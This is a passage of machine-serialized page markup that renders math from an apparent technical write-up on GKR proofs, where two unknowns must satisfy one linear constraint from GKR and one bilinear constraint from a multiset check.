":147,"props":125357,"children":125358},{"style":98686},[125359,125363],{"type":24,"tag":147,"props":125360,"children":125362},{"className":125361,"style":9675},[9674],[],{"type":24,"tag":147,"props":125364,"children":125366},{"className":125365},[9680,9681,9682,9683],[125367],{"type":24,"tag":147,"props":125368,"children":125370},{"className":125369},[9635,9683],[125371],{"type":29,"value":3173},{"type":24,"tag":147,"props":125373,"children":125375},{"className":125374},[27347],[125376],{"type":29,"value":27350},{"type":24,"tag":147,"props":125378,"children":125380},{"className":125379},[9660],[125381],{"type":24,"tag":147,"props":125382,"children":125384},{"className":125383,"style":98713},[9665],[125385],{"type":24,"tag":147,"props":125386,"children":125387},{},[],{"type":24,"tag":147,"props":125389,"children":125391},{"className":125390,"style":9812},[9714],[],{"type":24,"tag":147,"props":125393,"children":125395},{"className":125394},[9817],[125396],{"type":29,"value":369},{"type":24,"tag":147,"props":125398,"children":125400},{"className":125399,"style":9812},[9714],[],{"type":24,"tag":147,"props":125402,"children":125404},{"className":125403},[9624],[125405,125409,125450,125455,125460,125465,125470,125475],{"type":24,"tag":147,"props":125406,"children":125408},{"className":125407,"style":98572},[9629],[],{"type":24,"tag":147,"props":125410,"children":125412},{"className":125411},[9635],[125413,125422,125427,125436,125441],{"type":24,"tag":147,"props":125414,"children":125416},{"className":125415},[9635,29],[125417],{"type":24,"tag":147,"props":125418,"children":125420},{"className":125419},[9635],[125421],{"type":29,"value":99449},{"type":24,"tag":147,"props":125423,"children":125425},{"className":125424,"style":98630},[9635],[125426],{"type":29,"value":8714},{"type":24,"tag":147,"props":125428,"children":125430},{"className":125429},[9635,29],[125431],{"type":24,"tag":147,"props":125432,"children":125434},{"className":125433},[9635],[125435],{"type":29,"value":124294},{"type":24,"tag":147,"props":125437,"children":125439},{"className":125438,"style":98630},[9635],[125440],{"type":29,"value":8714},{"type":24,"tag":147,"props":125442,"children":125444},{"className":125443},[9635,29],[125445],{"type":24,"tag":147,"props":125446,"children":125448},{"className":125447},[9635],[125449],{"type":29,"value":124313},{"type":24,"tag":147,"props":125451,"children":125453},{"className":125452},[27319],[125454],{"type":29,"value":9358},{"type":24,"tag":147,"props":125456,"children":125458},{"className":125457},[9635],[125459],{"type":29,"value":3173},{"type":24,"tag":147,"props":125461,"children":125463},{"className":125462},[27341],[125464],{"type":29,"value":21023},{"type":24,"tag":147,"props":125466,"children":125468},{"className":125467},[27319],[125469],{"type":29,"value":9358},{"type":24,"tag":147,"props":125471,"children":125473},{"className":125472},[9635],[125474],{"type":29,"value":3173},{"type":24,"tag":147,"props":125476,"children":125478},{"className":125477},[27341],[125479],{"type":29,"value":21023},{"type":29,"value":855},{"type":24,"tag":80,"props":125482,"children":125484},{"className":125483},[9607,9608],[125485],{"type":24,"tag":147,"props":125486,"children":125488},{"className":125487},[9613],[125489],{"type":24,"tag":147,"props":125490,"children":125492},{"className":125491,"ariaHidden":9619},[9618],[125493,125571],{"type":24,"tag":147,"props":125494,"children":125496},{"className":125495},[9624],[125497,125501,125558,125562,125567],{"type":24,"tag":147,"props":125498,"children":125500},{"className":125499,"style":115591},[9629],[],{"type":24,"tag":147,"props":125502,"children":125504},{"className":125503},[9635],[125505,125510],{"type":24,"tag":147,"props":125506,"children":125508},{"className":125507},[9635,27190],[125509],{"type":29,"value":24880},{"type":24,"tag":147,"props":125511,"children":125513},{"className":125512},[9650],[125514],{"type":24,"tag":147,"props":125515,"children":125517},{"className":125516},[9655,27244],[125518,125547],{"type":24,"tag":147,"props":125519,"children":125521},{"className":125520},[9660],[125522,125542],{"type":24,"tag":147,"props":125523,"children":125525},{"className":125524,"style":98682},[9665],[125526],{"type":24,"tag":147,"props":125527,"children":125528},{"style":98686},[125529,125533],{"type":24,"tag":147,"props":125530,"children":125532},{"className":125531,"style":9675},[9674],[],{"type":24,"tag":147,"props":125534,"children":125536},{"className":125535},[9680,9681,9682,9683],[125537],{"type":24,"tag":147,"props":125538,"children":125540},{"className":125539},[9635,9683],[125541],{"type":29,"value":1154},{"type":24,"tag":147,"props":125543,"children":125545},{"className":125544},[27347],[125546],{"type":29,"value":27350},{"type":24,"tag":147,"props":125548,"children":125550},{"className":125549},[9660],[125551],{"type":24,"tag":147,"props":125552,"children":125554},{"className":125553,"style":98713},[9665],[125555],{"type":24,"tag":147,"props":125556,"children":125557},{},[],{"type":24,"tag":147,"props":125559,"children":125561},{"className":125560,"style":9812},[9714],[],{"type":24,"tag":147,"props":125563,"children":125565},{"className":125564},[9817],[125566],{"type":29,"value":369},{"type":24,"tag":147,"props":125568,"children":125570},{"className":125569,"style":9812},[9714],[],{"type":24,"tag":147,"props":125572,"children":125574},{"className":125573},[9624],[125575,125579,125620,125625,125630,125635,125640,125645],{"type":24,"tag":147,"props":125576,"children":125578},{"className":125577,"style":98572},[9629],[],{"type":24,"tag":147,"props":125580,"children":125582},{"className":125581},[9635],[125583,125592,125597,125606,125611],{"type":24,"tag":147,"props":125584,"children":125586},{"className":125585},[9635,29],[125587],{"type":24,"tag":147,"props":125588,"children":125590},{"className":125589},[9635],[125591],{"type":29,"value":99449},{"type":24,"tag":147,"props":125593,"children":125595},{"className":125594,"style":98630},[9635],[125596],{"type":29,"value":8714},{"type":24,"tag":147,"props":125598,"children":125600},{"className":125599},[9635,29],[125601],{"type":24,"tag":147,"props":125602,"children":125604},{"className":125603},[9635],[125605],{"type":29,"value":124294},{"type":24,"tag":147,"props":125607,"children":125609},{"className":125608,"style":98630},[9635],[125610],{"type":29,"value":8714},{"type":24,"tag":147,"props":125612,"children":125614},{"className":125613},[9635,29],[125615],{"type":24,"tag":147,"props":125616,"children":125618},{"className":125617},[9635],[125619],{"type":29,"value":124313},{"type":24,"tag":147,"props":125621,"children":125623},{"className":125622},[27319],[125624],{"type":29,"value":9358},{"type":24,"tag":147,"props":125626,"children":125628},{"className":125627},[9635],[125629],{"type":29,"value":3173},{"type":24,"tag":147,"props":125631,"children":125633},{"className":125632},[27341],[125634],{"type":29,"value":21023},{"type":24,"tag":147,"props":125636,"children":125638},{"className":125637},[27319],[125639],{"type":29,"value":9358},{"type":24,"tag":147,"props":125641,"children":125643},{"className":125642},[9635],[125644],{"type":29,"value":1154},{"type":24,"tag":147,"props":125646,"children":125648},{"className":125647},[27341],[125649],{"type":29,"value":21023},{"type":29,"value":125651}," we get the following constraint:",{"type":24,"tag":25,"props":125653,"children":125654},{},[125655],{"type":24,"tag":80,"props":125656,"children":125658},{"className":125657},[9607,9608],[125659],{"type":24,"tag":147,"props":125660,"children":125662},{"className":125661},[9613],[125663],{"type":24,"tag":147,"props":125664,"children":125666},{"className":125665,"ariaHidden":9619},[9618],[125667,125746,125824,125865],{"type":24,"tag":147,"props":125668,"children":125670},{"className":125669},[9624],[125671,125676,125733,125737,125742],{"type":24,"tag":147,"props":125672,"children":125675},{"className":125673,"style":125674},[9629],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":125677,"children":125679},{"className":125678},[9635],[125680,125685],{"type":24,"tag":147,"props":125681,"children":125683},{"className":125682},[9635,27190],[125684],{"type":29,"value":24880},{"type":24,"tag":147,"props":125686,"children":125688},{"className":125687},[9650],[125689],{"type":24,"tag":147,"props":125690,"children":125692},{"className":125691},[9655,27244],[125693,125722],{"type":24,"tag":147,"props":125694,"children":125696},{"className":125695},[9660],[125697,125717],{"type":24,"tag":147,"props":125698,"children":125700},{"className":125699,"style":98682},[9665],[125701],{"type":24,"tag":147,"props":125702,"children":125703},{"style":98686},[125704,125708],{"type":24,"tag":147,"props":125705,"children":125707},{"className":125706,"style":9675},[9674],[],{"type":24,"tag":147,"props":125709,"children":125711},{"className":125710},[9680,9681,9682,9683],[125712],{"type":24,"tag":147,"props":125713,"children":125715},{"className":125714},[9635,9683],[125716],{"type":29,"value":3173},{"type":24,"tag":147,"props":125718,"children":125720},{"className":125719},[27347],[125721],{"type":29,"value":27350},{"type":24,"tag":147,"props":125723,"children":125725},{"className":125724},[9660],[125726],{"type":24,"tag":147,"props":125727,"children":125729},{"className":125728,"style":98713},[9665],[125730],{"type":24,"tag":147,"props":125731,"children":125732},{},[],{"type":24,"tag":147,"props":125734,"children":125736},{"className":125735,"style":9715},[9714],[],{"type":24,"tag":147,"props":125738,"children":125740},{"className":125739},[9720],[125741],{"type":29,"value":116883},{"type":24,"tag":147,"props":125743,"children":125745},{"className":125744,"style":9715},[9714],[],{"type":24,"tag":147,"props":125747,"children":125749},{"className":125748},[9624],[125750,125754,125811,125815,125820],{"type":24,"tag":147,"props":125751,"children":125753},{"className":125752,"style":125674},[9629],[],{"type":24,"tag":147,"props":125755,"children":125757},{"className":125756},[9635],[125758,125763],{"type":24,"tag":147,"props":125759,"children":125761},{"className":125760},[9635,27190],[125762],{"type":29,"value":24880},{"type":24,"tag":147,"props":125764,"children":125766},{"className":125765},[9650],[125767],{"type":24,"tag":147,"props":125768,"children":125770},{"className":125769},[9655,27244],[125771,125800],{"type":24,"tag":147,"props":125772,"children":125774},{"className":125773},[9660],[125775,125795],{"type":24,"tag":147,"props":125776,"children":125778},{"className":125777,"style":98682},[9665],[125779],{"type":24,"tag":147,"props":125780,"children":125781},{"style":98686},[125782,125786],{"type":24,"tag":147,"props":125783,"children":125785},{"className":125784,"style":9675},[9674],[],{"type":24,"tag":147,"props":125787,"children":125789},{"className":125788},[9680,9681,9682,9683],[125790],{"type":24,"tag":147,"props":125791,"children":125793},{"className":125792},[9635,9683],[125794],{"type":29,"value":1154},{"type":24,"tag":147,"props":125796,"children":125798},{"className":125797},[27347],[125799],{"type":29,"value":27350},{"type":24,"tag":147,"props":125801,"children":125803},{"className":125802},[9660],[125804],{"type":24,"tag":147,"props":125805,"children":125807},{"className":125806,"style":98713},[9665],[125808],{"type":24,"tag":147,"props":125809,"children":125810},{},[],{"type":24,"tag":147,"props":125812,"children":125814},{"className":125813,"style":9715},[9714],[],{"type":24,"tag":147,"props":125816,"children":125818},{"className":125817},[9720],[125819],{"type":29,"value":116883},{"type":24,"tag":147,"props":125821,"children":125823},{"className":125822,"style":9715},[9714],[],{"type":24,"tag":147,"props":125825,"children":125827},{"className":125826},[9624],[125828,125832,125837,125847,125852,125856,125861],{"type":24,"tag":147,"props":125829,"children":125831},{"className":125830,"style":9735},[9629],[],{"type":24,"tag":147,"props":125833,"children":125835},{"className":125834},[27319],[125836],{"type":29,"value":480},{"type":24,"tag":147,"props":125838,"children":125840},{"className":125839},[9635,29],[125841],{"type":24,"tag":147,"props":125842,"children":125844},{"className":125843},[9635],[125845],{"type":29,"value":125846},"rest of product",{"type":24,"tag":147,"props":125848,"children":125850},{"className":125849},[27341],[125851],{"type":29,"value":8758},{"type":24,"tag":147,"props":125853,"children":125855},{"className":125854,"style":9812},[9714],[],{"type":24,"tag":147,"props":125857,"children":125859},{"className":125858},[9817],[125860],{"type":29,"value":369},{"type":24,"tag":147,"props":125862,"children":125864},{"className":125863,"style":9812},[9714],[],{"type":24,"tag":147,"props":125866,"children":125868},{"className":125867},[9624],[125869,125873],{"type":24,"tag":147,"props":125870,"children":125872},{"className":125871,"style":120640},[9629],[],{"type":24,"tag":147,"props":125874,"children":125876},{"className":125875},[9635,29],[125877],{"type":24,"tag":147,"props":125878,"children":125880},{"className":125879},[9635],[125881],{"type":29,"value":120651},{"type":24,"tag":25,"props":125883,"children":125884},{},[125885,125887,126040],{"type":29,"value":125886},"This is bilinear in ",{"type":24,"tag":80,"props":125888,"children":125890},{"className":125889},[9607,9608],[125891],{"type":24,"tag":147,"props":125892,"children":125894},{"className":125893},[9613],[125895],{"type":24,"tag":147,"props":125896,"children":125898},{"className":125897,"ariaHidden":9619},[9618],[125899],{"type":24,"tag":147,"props":125900,"children":125902},{"className":125901},[9624],[125903,125907,125912,125969,125974,125978,126035],{"type":24,"tag":147,"props":125904,"children":125906},{"className":125905,"style":9735},[9629],[],{"type":24,"tag":147,"props":125908,"children":125910},{"className":125909},[27319],[125911],{"type":29,"value":480},{"type":24,"tag":147,"props":125913,"children":125915},{"className":125914},[9635],[125916,125921],{"type":24,"tag":147,"props":125917,"children":125919},{"className":125918},[9635,27190],[125920],{"type":29,"value":24880},{"type":24,"tag":147,"props":125922,"children":125924},{"className":125923},[9650],[125925],{"type":24,"tag":147,"props":125926,"children":125928},{"className":125927},[9655,27244],[125929,125958],{"type":24,"tag":147,"props":125930,"children":125932},{"className":125931},[9660],[125933,125953],{"type":24,"tag":147,"props":125934,"children":125936},{"className":125935,"style":98682},[9665],[125937],{"type":24,"tag":147,"props":125938,"children":125939},{"style":98686},[125940,125944],{"type":24,"tag":147,"props":125941,"children":125943},{"className":125942,"style":9675},[9674],[],{"type":24,"tag":147,"props":125945,"children":125947},{"className":125946},[9680,9681,9682,9683],[125948],{"type":24,"tag":147,"props":125949,"children":125951},{"className":125950},[9635,9683],[125952],{"type":29,"value":3173},{"type":24,"tag":147,"props":125954,"children":125956},{"className":125955},[27347],[125957],{"type":29,"value":27350},{"type":24,"tag":147,"props":125959,"children":125961},{"className":125960},[9660],[125962],{"type":24,"tag":147,"props":125963,"children":125965},{"className":125964,"style":98713},[9665],[125966],{"type":24,"tag":147,"props":125967,"children":125968},{},[],{"type":24,"tag":147,"props":125970,"children":125972},{"className":125971},[9746],[125973],{"type":29,"value":9749},{"type":24,"tag":147,"props":125975,"children":125977},{"className":125976,"style":9753},[9714],[],{"type":24,"tag":147,"props":125979,"children":125981},{"className":125980},[9635],[125982,125987],{"type":24,"tag":147,"props":125983,"children":125985},{"className":125984},[9635,27190],[125986],{"type":29,"value":24880},{"type":24,"tag":147,"props":125988,"children":125990},{"className":125989},[9650],[125991],{"type":24,"tag":147,"props":125992,"children":125994},{"className":125993},[9655,27244],[125995,126024],{"type":24,"tag":147,"props":125996,"children":125998},{"className":125997},[9660],[125999,126019],{"type":24,"tag":147,"props":126000,"children":126002},{"className":126001,"style":98682},[9665],[126003],{"type":24,"tag":147,"props":126004,"children":126005},{"style":98686},[126006,126010],{"type":24,"tag":147,"props":126007,"children":126009},{"className":126008,"style":9675},[9674],[],{"type":24,"tag":147,"props":126011,"children":126013},{"className":126012},[9680,9681,9682,9683],[126014],{"type":24,"tag":147,"props":126015,"children":126017},{"className":126016},[9635,9683],[126018],{"type":29,"value":1154},{"type":24,"tag":147,"props":126020,"children":126022},{"className":126021},[27347],[126023],{"type":29,"value":27350},{"type":24,"tag":147,"props":126025,"children":126027},{"className":126026},[9660],[126028],{"type":24,"tag":147,"props":126029,"children":126031},{"className":126030,"style":98713},[9665],[126032],{"type":24,"tag":147,"props":126033,"children":126034},{},[],{"type":24,"tag":147,"props":126036,"children":126038},{"className":126037},[27341],[126039],{"type":29,"value":8758},{"type":29,"value":87},{"type":24,"tag":25,"props":126042,"children":126043},{},[126044,126046,126199],{"type":29,"value":126045},"We have two unknowns ",{"type":24,"tag":80,"props":126047,"children":126049},{"className":126048},[9607,9608],[126050],{"type":24,"tag":147,"props":126051,"children":126053},{"className":126052},[9613],[126054],{"type":24,"tag":147,"props":126055,"children":126057},{"className":126056,"ariaHidden":9619},[9618],[126058],{"type":24,"tag":147,"props":126059,"children":126061},{"className":126060},[9624],[126062,126066,126071,126128,126133,126137,126194],{"type":24,"tag":147,"props":126063,"children":126065},{"className":126064,"style":9735},[9629],[],{"type":24,"tag":147,"props":126067,"children":126069},{"className":126068},[27319],[126070],{"type":29,"value":480},{"type":24,"tag":147,"props":126072,"children":126074},{"className":126073},[9635],[126075,126080],{"type":24,"tag":147,"props":126076,"children":126078},{"className":126077},[9635,27190],[126079],{"type":29,"value":24880},{"type":24,"tag":147,"props":126081,"children":126083},{"className":126082},[9650],[126084],{"type":24,"tag":147,"props":126085,"children":126087},{"className":126086},[9655,27244],[126088,126117],{"type":24,"tag":147,"props":126089,"children":126091},{"className":126090},[9660],[126092,126112],{"type":24,"tag":147,"props":126093,"children":126095},{"className":126094,"style":98682},[9665],[126096],{"type":24,"tag":147,"props":126097,"children":126098},{"style":98686},[126099,126103],{"type":24,"tag":147,"props":126100,"children":126102},{"className":126101,"style":9675},[9674],[],{"type":24,"tag":147,"props":126104,"children":126106},{"className":126105},[9680,9681,9682,9683],[126107],{"type":24,"tag":147,"props":126108,"children":126110},{"className":126109},[9635,9683],[126111],{"type":29,"value":3173},{"type":24,"tag":147,"props":126113,"children":126115},{"className":126114},[27347],[126116],{"type":29,"value":27350},{"type":24,"tag":147,"props":126118,"children":126120},{"className":126119},[9660],[126121],{"type":24,"tag":147,"props":126122,"children":126124},{"className":126123,"style":98713},[9665],[126125],{"type":24,"tag":147,"props":126126,"children":126127},{},[],{"type":24,"tag":147,"props":126129,"children":126131},{"className":126130},[9746],[126132],{"type":29,"value":9749},{"type":24,"tag":147,"props":126134,"children":126136},{"className":126135,"style":9753},[9714],[],{"type":24,"tag":147,"props":126138,"children":126140},{"className":126139},[9635],[126141,126146],{"type":24,"tag":147,"props":126142,"children":126144},{"className":126143},[9635,27190],[126145],{"type":29,"value":24880},{"type":24,"tag":147,"props":126147,"children":126149},{"className":126148},[9650],[126150],{"type":24,"tag":147,"props":126151,"children":126153},{"className":126152},[9655,27244],[126154,126183],{"type":24,"tag":147,"props":126155,"children":126157},{"className":126156},[9660],[126158,126178],{"type":24,"tag":147,"props":126159,"children":126161},{"className":126160,"style":98682},[9665],[126162],{"type":24,"tag":147,"props":126163,"children":126164},{"style":98686},[126165,126169],{"type":24,"tag":147,"props":126166,"children":126168},{"className":126167,"style":9675},[9674],[],{"type":24,"tag":147,"props":126170,"children":126172},{"className":126171},[9680,9681,9682,9683],[126173],{"type":24,"tag":147,"props":126174,"children":126176},{"className":126175},[9635,9683],[126177],{"type":29,"value":1154},{"type":24,"tag":147,"props":126179,"children":126181},{"className":126180},[27347],[126182],{"type":29,"value":27350},{"type":24,"tag":147,"props":126184,"children":126186},{"className":126185},[9660],[126187],{"type":24,"tag":147,"props":126188,"children":126190},{"className":126189,"style":98713},[9665],[126191],{"type":24,"tag":147,"props":126192,"children":126193},{},[],{"type":24,"tag":147,"props":126195,"children":126197},{"className":126196},[27341],[126198],{"type":29,"value":8758},{"type":29,"value":126200}," and two equations, one linear and one bilinear:",{"type":24,"tag":2674,"props":126202,"children":126203},{},[126204,126531],{"type":24,"tag":2678,"props":126205,"children":126206},{},[126207,126209],{"type":29,"value":126208},"Linear (from GKR): ",{"type":24,"tag":80,"props":126210,"children":126212},{"className":126211},[9607,9608],[126213],{"type":24,"tag":147,"props":126214,"children":126216},{"className":126215},[9613],[126217],{"type":24,"tag":147,"props":126218,"children":126220},{"className":126219,"ariaHidden":9619},[9618],[126221,126357,126492,126518],{"type":24,"tag":147,"props":126222,"children":126224},{"className":126223},[9624],[126225,126230,126287,126344,126348,126353],{"type":24,"tag":147,"props":126226,"children":126229},{"className":126227,"style":126228},[9629],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":126231,"children":126233},{"className":126232},[9635],[126234,126239],{"type":24,"tag":147,"props":126235,"children":126237},{"className":126236},[9635,27190],[126238],{"type":29,"value":2773},{"type":24,"tag":147,"props":126240,"children":126242},{"className":126241},[9650],[126243],{"type":24,"tag":147,"props":126244,"children":126246},{"className":126245},[9655,27244],[126247,126276],{"type":24,"tag":147,"props":126248,"children":126250},{"className":126249},[9660],[126251,126271],{"type":24,"tag":147,"props":126252,"children":126254},{"className":126253,"style":98682},[9665],[126255],{"type":24,"tag":147,"props":126256,"children":126257},{"style":98686},[126258,126262],{"type":24,"tag":147,"props":126259,"children":126261},{"className":126260,"style":9675},[9674],[],{"type":24,"tag":147,"props":126263,"children":126265},{"className":126264},[9680,9681,9682,9683],[126266],{"type":24,"tag":147,"props":126267,"children":126269},{"className":126268},[9635,9683],[126270],{"type":29,"value":3173},{"type":24,"tag":147,"props":126272,"children":126274},{"className":126273},[27347],[126275],{"type":29,"value":27350},{"type":24,"tag":147,"props":126277,"children":126279},{"className":126278},[9660],[126280],{"type":24,"tag":147,"props":126281,"children":126283},{"className":126282,"style":98713},[9665],[126284],{"type":24,"tag":147,"props":126285,"children":126286},{},[],{"type":24,"tag":147,"props":126288,"children":126290},{"className":126289},[9635],[126291,126296],{"type":24,"tag":147,"props":126292,"children":126294},{"className":126293},[9635,27190],[126295],{"type":29,"value":24880},{"type":24,"tag":147,"props":126297,"children":126299},{"className":126298},[9650],[126300],{"type":24,"tag":147,"props":126301,"children":126303},{"className":126302},[9655,27244],[126304,126333],{"type":24,"tag":147,"props":126305,"children":126307},{"className":126306},[9660],[126308,126328],{"type":24,"tag":147,"props":126309,"children":126311},{"className":126310,"style":98682},[9665],[126312],{"type":24,"tag":147,"props":126313,"children":126314},{"style":98686},[126315,126319],{"type":24,"tag":147,"props":126316,"children":126318},{"className":126317,"style":9675},[9674],[],{"type":24,"tag":147,"props":126320,"children":126322},{"className":126321},[9680,9681,9682,9683],[126323],{"type":24,"tag":147,"props":126324,"children":126326},{"className":126325},[9635,9683],[126327],{"type":29,"value":3173},{"type":24,"tag":147,"props":126329,"children":126331},{"className":126330},[27347],[126332],{"type":29,"value":27350},{"type":24,"tag":147,"props":126334,"children":126336},{"className":126335},[9660],[126337],{"type":24,"tag":147,"props":126338,"children":126340},{"className":126339,"style":98713},[9665],[126341],{"type":24,"tag":147,"props":126342,"children":126343},{},[],{"type":24,"tag":147,"props":126345,"children":126347},{"className":126346,"style":9715},[9714],[],{"type":24,"tag":147,"props":126349,"children":126351},{"className":126350},[9720],[126352],{"type":29,"value":624},{"type":24,"tag":147,"props":126354,"children":126356},{"className":126355,"style":9715},[9714],[],{"type":24,"tag":147,"props":126358,"children":126360},{"className":126359},[9624],[126361,126365,126422,126479,126483,126488],{"type":24,"tag":147,"props":126362,"children":126364},{"className":126363,"style":126228},[9629],[],{"type":24,"tag":147,"props":126366,"children":126368},{"className":126367},[9635],[126369,126374],{"type":24,"tag":147,"props":126370,"children":126372},{"className":126371},[9635,27190],[126373],{"type":29,"value":2773},{"type":24,"tag":147,"props":126375,"children":126377},{"className":126376},[9650],[126378],{"type":24,"tag":147,"props":126379,"children":126381},{"className":126380},[9655,27244],[126382,126411],{"type":24,"tag":147,"props":126383,"children":126385},{"className":126384},[9660],[126386,126406],{"type":24,"tag":147,"props":126387,"children":126389},{"className":126388,"style":98682},[9665],[126390],{"type":24,"tag":147,"props":126391,"children":126392},{"style":98686},[126393,126397],{"type":24,"tag":147,"props":126394,"children":126396},{"className":126395,"style":9675},[9674],[],{"type":24,"tag":147,"props":126398,"children":126400},{"className":126399},[9680,9681,9682,9683],[126401],{"type":24,"tag":147,"props":126402,"children":126404},{"className":126403},[9635,9683],[126405],{"type":29,"value":1154},{"type":24,"tag":147,"props":126407,"children":126409},{"className":126408},[27347],[126410],{"type":29,"value":27350},{"type":24,"tag":147,"props":126412,"children":126414},{"className":126413},[9660],[126415],{"type":24,"tag":147,"props":126416,"children":126418},{"className":126417,"style":98713},[9665],[126419],{"type":24,"tag":147,"props":126420,"children":126421},{},[],{"type":24,"tag":147,"props":126423,"children":126425},{"className":126424},[9635],[126426,126431],{"type":24,"tag":147,"props":126427,"children":126429},{"className":126428},[9635,27190],[126430],{"type":29,"value":24880},{"type":24,"tag":147,"props":126432,"children":126434},{"className":126433},[9650],[126435],{"type":24,"tag":147,"props":126436,"children":126438},{"className":126437},[9655,27244],[126439,126468],{"type":24,"tag":147,"props":126440,"children":126442},{"className":126441},[9660],[126443,126463],{"type":24,"tag":147,"props":126444,"children":126446},{"className":126445,"style":98682},[9665],[126447],{"type":24,"tag":147,"props":126448,"children":126449},{"style":98686},[126450,126454],{"type":24,"tag":147,"props":126451,"children":126453},{"className":126452,"style":9675},[9674],[],{"type":24,"tag":147,"props":126455,"children":126457},{"className":126456},[9680,9681,9682,9683],[126458],{"type":24,"tag":147,"props":126459,"children":126461},{"className":126460},[9635,9683],[126462],{"type":29,"value":1154},{"type":24,"tag":147,"props":126464,"children":126466},{"className":126465},[27347],[126467],{"type":29,"value":27350},{"type":24,"tag":147,"props":126469,"children":126471},{"className":126470},[9660],[126472],{"type":24,"tag":147,"props":126473,"children":126475},{"className":126474,"style":98713},[9665],[126476],{"type":24,"tag":147,"props":126477,"children":126478},{},[],{"type":24,"tag":147,"props":126480,"children":126482},{"className":126481,"style":9715},[9714],[],{"type":24,"tag":147,"props":126484,"children":126486},{"className":126485},[9720],[126487],{"type":29,"value":624},{"type":24,"tag":147,"props":126489,"children":126491},{"className":126490,"style":9715},[9714],[],{"type":24,"tag":147,"props":126493,"children":126495},{"className":126494},[9624],[126496,126500,126505,126509,126514],{"type":24,"tag":147,"props":126497,"children":126499},{"className":126498,"style":116462},[9629],[],{"type":24,"tag":147,"props":126501,"children":126503},{"className":126502},[9635,27190],[126504],{"type":29,"value":140},{"type":24,"tag":147,"props":126506,"children":126508},{"className":126507,"style":9812},[9714],[],{"type":24,"tag":147,"props":126510,"children":126512},{"className":126511},[9817],[126513],{"type":29,"value":369},{"type":24,"tag":147,"props":126515,"children":126517},{"className":126516,"style":9812},[9714],[],{"type":24,"tag":147,"props":126519,"children":126521},{"className":126520},[9624],[126522,126526],{"type":24,"tag":147,"props":126523,"children":126525},{"className":126524,"style":99661},[9629],[],{"type":24,"tag":147,"props":126527,"children":126529},{"className":126528},[9635],[126530],{"type":29,"value":3173},{"type":24,"tag":2678,"props":126532,"children":126533},{},[126534,126536],{"type":29,"value":126535},"Bilinear (from multiset): ",{"type":24,"tag":80,"props":126537,"children":126539},{"className":126538},[9607,9608],[126540],{"type":24,"tag":147,"props":126541,"children":126543},{"className":126542},[9613],[126544],{"type":24,"tag":147,"props":126545,"children":126547},{"className":126546,"ariaHidden":9619},[9618],[126548,126574,126652,126730,126756],{"type":24,"tag":147,"props":126549,"children":126551},{"className":126550},[9624],[126552,126556,126561,126565,126570],{"type":24,"tag":147,"props":126553,"children":126555},{"className":126554,"style":98545},[9629],[],{"type":24,"tag":147,"props":126557,"children":126559},{"className":126558,"style":100059},[9635,27190],[126560],{"type":29,"value":94267},{"type":24,"tag":147,"props":126562,"children":126564},{"className":126563,"style":9715},[9714],[],{"type":24,"tag":147,"props":126566,"children":126568},{"className":126567},[9720],[126569],{"type":29,"value":116883},{"type":24,"tag":147,"props":126571,"children":126573},{"className":126572,"style":9715},[9714],[],{"type":24,"tag":147,"props":126575,"children":126577},{"className":126576},[9624],[126578,126582,126639,126643,126648],{"type":24,"tag":147,"props":126579,"children":126581},{"className":126580,"style":125674},[9629],[],{"type":24,"tag":147,"props":126583,"children":126585},{"className":126584},[9635],[126586,126591],{"type":24,"tag":147,"props":126587,"children":126589},{"className":126588},[9635,27190],[126590],{"type":29,"value":24880},{"type":24,"tag":147,"props":126592,"children":126594},{"className":126593},[9650],[126595],{"type":24,"tag":147,"props":126596,"children":126598},{"className":126597},[9655,27244],[126599,126628],{"type":24,"tag":147,"props":126600,"children":126602},{"className":126601},[9660],[126603,126623],{"type":24,"tag":147,"props":126604,"children":126606},{"className":126605,"style":98682},[9665],[126607],{"type":24,"tag":147,"props":126608,"children":126609},{"style":98686},[126610,126614],{"type":24,"tag":147,"props":126611,"children":126613},{"className":126612,"style":9675},[9674],[],{"type":24,"tag":147,"props":126615,"children":126617},{"className":126616},[9680,9681,9682,9683],[126618],{"type":24,"tag":147,"props":126619,"children":126621},{"className":126620},[9635,9683],[126622],{"type":29,"value":3173},{"type":24,"tag":147,"props":126624,"children":126626},{"className":126625},[27347],[126627],{"type":29,"value":27350},{"type":24,"tag":147,"props":126629,"children":126631},{"className":126630},[9660],[126632],{"type":24,"tag":147,"props":126633,"children":126635},{"className":126634,"style":98713},[9665],[126636],{"type":24,"tag":147,"props":126637,"children":126638},{},[],{"type":24,"tag":147,"props":126640,"children":126642},{"className":126641,"style":9715},[9714],[],{"type":24,"tag":147,"props":126644,"children":126646},{"className":126645},[9720],[126647],{"type":29,"value":116883},{"type":24,"tag":147,"props":126649,"children":126651},{"className":126650,"style":9715},[9714],[],{"type":24,"tag":147,"props":126653,"children":126655},{"className":126654},[9624],[126656,126660,126717,126721,126726],{"type":24,"tag":147,"props":126657,"children":126659},{"className":126658,"style":126228},[9629],[],{"type":24,"tag":147,"props":126661,"children":126663},{"className":126662},[9635],[126664,126669],{"type":24,"tag":147,"props":126665,"children":126667},{"className":126666},[9635,27190],[126668],{"type":29,"value":24880},{"type":24,"tag":147,"props":126670,"children":126672},{"className":126671},[9650],[126673],{"type":24,"tag":147,"props":126674,"children":126676},{"className":126675},[9655,27244],[126677,126706],{"type":24,"tag":147,"props":126678,"children":126680},{"className":126679},[9660],[126681,126701],{"type":24,"tag":147,"props":126682,"children":126684},{"className":126683,"style":98682},[9665],[126685],{"type":24,"tag":147,"props":126686,"children":126687},{"style":98686},[126688,126692],{"type":24,"tag":147,"props":126689,"children":126691},{"className":126690,"style":9675},[9674],[],{"type":24,"tag":147,"props":126693,"children":126695},{"className":126694},[9680,9681,9682,9683],[126696],{"type":24,"tag":147,"props":126697,"children":126699},{"className":126698},[9635,9683],[126700],{"type":29,"value":1154},{"type":24,"tag":147,"props":126702,"children":126704},{"className":126703},[27347],[126705],{"type":29,"value":27350},{"type":24,"tag":147,"props":126707,"children":126709},{"className":126708},[9660],[126710],{"type":24,"tag":147,"props":126711,"children":126713},{"className":126712,"style":98713},[9665],[126714],{"type":24,"tag":147,"props":126715,"children":126716},{},[],{"type":24,"tag":147,"props":126718,"children":126720},{"className":126719,"style":9715},[9714],[],{"type":24,"tag":147,"props":126722,"children":126724},{"className":126723},[9720],[126725],{"type":29,"value":624},{"type":24,"tag":147,"props":126727,"children":126729},{"className":126728,"style":9715},[9714],[],{"type":24,"tag":147,"props":126731,"children":126733},{"className":126732},[9624],[126734,126738,126743,126747,126752],{"type":24,"tag":147,"props":126735,"children":126737},{"className":126736,"style":98545},[9629],[